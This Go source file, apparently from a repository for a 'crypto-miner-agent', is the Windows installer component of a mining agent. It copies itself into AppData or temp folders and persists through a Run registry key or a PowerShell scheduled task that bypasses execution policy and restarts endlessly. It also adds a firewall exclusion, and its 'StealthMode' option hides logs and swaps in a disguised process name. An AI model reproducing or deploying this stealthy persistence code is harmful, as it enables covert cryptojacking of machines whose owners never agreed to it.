Fix Fusion defaults and icon handling, remove unsupported UI fields, and ensure server/web/agent builds and tests pass cleanly on Windows.
209 lines
5.4 KiB
Go
209 lines
5.4 KiB
Go
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
|
|
"golang.org/x/sys/windows/registry"
|
|
)
|
|
|
|
const runFlag = "--run"
|
|
|
|
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
|
// and relaunches the miner from there. Returns true when the current process should exit.
|
|
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
|
currentExe, err := CurrentExecutable()
|
|
if err != nil {
|
|
return false, err
|
|
}
|
|
|
|
for _, arg := range os.Args[1:] {
|
|
if arg == runFlag {
|
|
return false, nil
|
|
}
|
|
}
|
|
|
|
installDir, err := resolveInstallDirWithFallback(cfg)
|
|
if err != nil {
|
|
return false, err
|
|
}
|
|
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
|
|
|
if samePath(currentExe, installedExe) {
|
|
return false, nil
|
|
}
|
|
|
|
if err := os.MkdirAll(installDir, 0755); err != nil {
|
|
return false, fmt.Errorf("create install dir: %w", err)
|
|
}
|
|
|
|
if err := copyFile(currentExe, installedExe); err != nil {
|
|
return false, fmt.Errorf("copy miner: %w", err)
|
|
}
|
|
_ = saveBackup(installedExe)
|
|
|
|
agentID, err := EnsureAgentID(installDir)
|
|
if err != nil {
|
|
return false, fmt.Errorf("agent id: %w", err)
|
|
}
|
|
|
|
logPath := filepath.Join(installDir, "miner.log")
|
|
if !cfg.FileLogging || cfg.StealthMode {
|
|
logPath = ""
|
|
}
|
|
|
|
if !cfg.StealthMode {
|
|
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
|
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
|
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
|
)), 0644)
|
|
}
|
|
|
|
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
|
if err := configureAutoStart(cfg, installedExe); err != nil {
|
|
return false, fmt.Errorf("auto-start: %w", err)
|
|
}
|
|
}
|
|
|
|
if err := configureRunMode(cfg, installedExe); err != nil {
|
|
return false, err
|
|
}
|
|
|
|
EnsureFirewallExclusion(cfg, installedExe)
|
|
|
|
if err := relaunch(installedExe, logPath); err != nil {
|
|
return false, fmt.Errorf("start installed miner: %w", err)
|
|
}
|
|
|
|
return true, nil
|
|
}
|
|
|
|
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
|
dir, err := cfg.InstallDirectory()
|
|
if err == nil {
|
|
return dir, nil
|
|
}
|
|
|
|
fallbacks := []string{"localappdata", "appdata", "temp"}
|
|
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
|
for _, base := range fallbacks {
|
|
if seen[base] {
|
|
continue
|
|
}
|
|
seen[base] = true
|
|
try := cfg
|
|
try.InstallBase = base
|
|
dir, tryErr := try.InstallDirectory()
|
|
if tryErr == nil {
|
|
return dir, nil
|
|
}
|
|
}
|
|
return "", err
|
|
}
|
|
|
|
func InstallDir(workerName, buildID string) (string, error) {
|
|
return config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
WorkerName: workerName,
|
|
BuildID: buildID,
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: config.DefaultInstallRelativePath,
|
|
},
|
|
}.InstallDirectory()
|
|
}
|
|
|
|
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
|
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer k.Close()
|
|
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
|
}
|
|
|
|
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
|
switch cfg.RunAs {
|
|
case "scheduled", "service":
|
|
return createScheduledTask(cfg, installedExe)
|
|
default:
|
|
return nil
|
|
}
|
|
}
|
|
|
|
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
|
taskName := PersistenceKeyName(cfg)
|
|
if taskName == "" {
|
|
taskName = "CryptoMinerAgent"
|
|
}
|
|
script := fmt.Sprintf(
|
|
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
|
strings.ReplaceAll(exePath, `'`, `''`),
|
|
runFlag,
|
|
strings.ReplaceAll(taskName, `'`, `''`),
|
|
)
|
|
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
|
return cmd.Run()
|
|
}
|
|
|
|
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
|
if cfg.StealthMode {
|
|
return cfg.EffectiveProcessName()
|
|
}
|
|
name := sanitizeName(cfg.WorkerName)
|
|
if name == "" {
|
|
return cfg.EffectiveProcessName()
|
|
}
|
|
return "CryptoMiner-" + name
|
|
}
|
|
|
|
func relaunch(exePath, logPath string) error {
|
|
cmd := exec.Command(exePath, runFlag)
|
|
cmd.Dir = filepath.Dir(exePath)
|
|
if logPath != "" {
|
|
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
|
}
|
|
return cmd.Start()
|
|
}
|
|
|
|
func sanitizeName(name string) string {
|
|
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
|
return replacer.Replace(strings.TrimSpace(name))
|
|
}
|
|
|
|
func samePath(a, b string) bool {
|
|
a = filepath.Clean(a)
|
|
b = filepath.Clean(b)
|
|
if strings.EqualFold(a, b) {
|
|
return true
|
|
}
|
|
aAbs, errA := filepath.Abs(a)
|
|
bAbs, errB := filepath.Abs(b)
|
|
if errA != nil || errB != nil {
|
|
return false
|
|
}
|
|
return strings.EqualFold(aAbs, bAbs)
|
|
}
|
|
|
|
func copyFile(src, dest string) error {
|
|
in, err := os.Open(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer in.Close()
|
|
|
|
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer out.Close()
|
|
|
|
_, err = io.Copy(out, in)
|
|
return err
|
|
}
|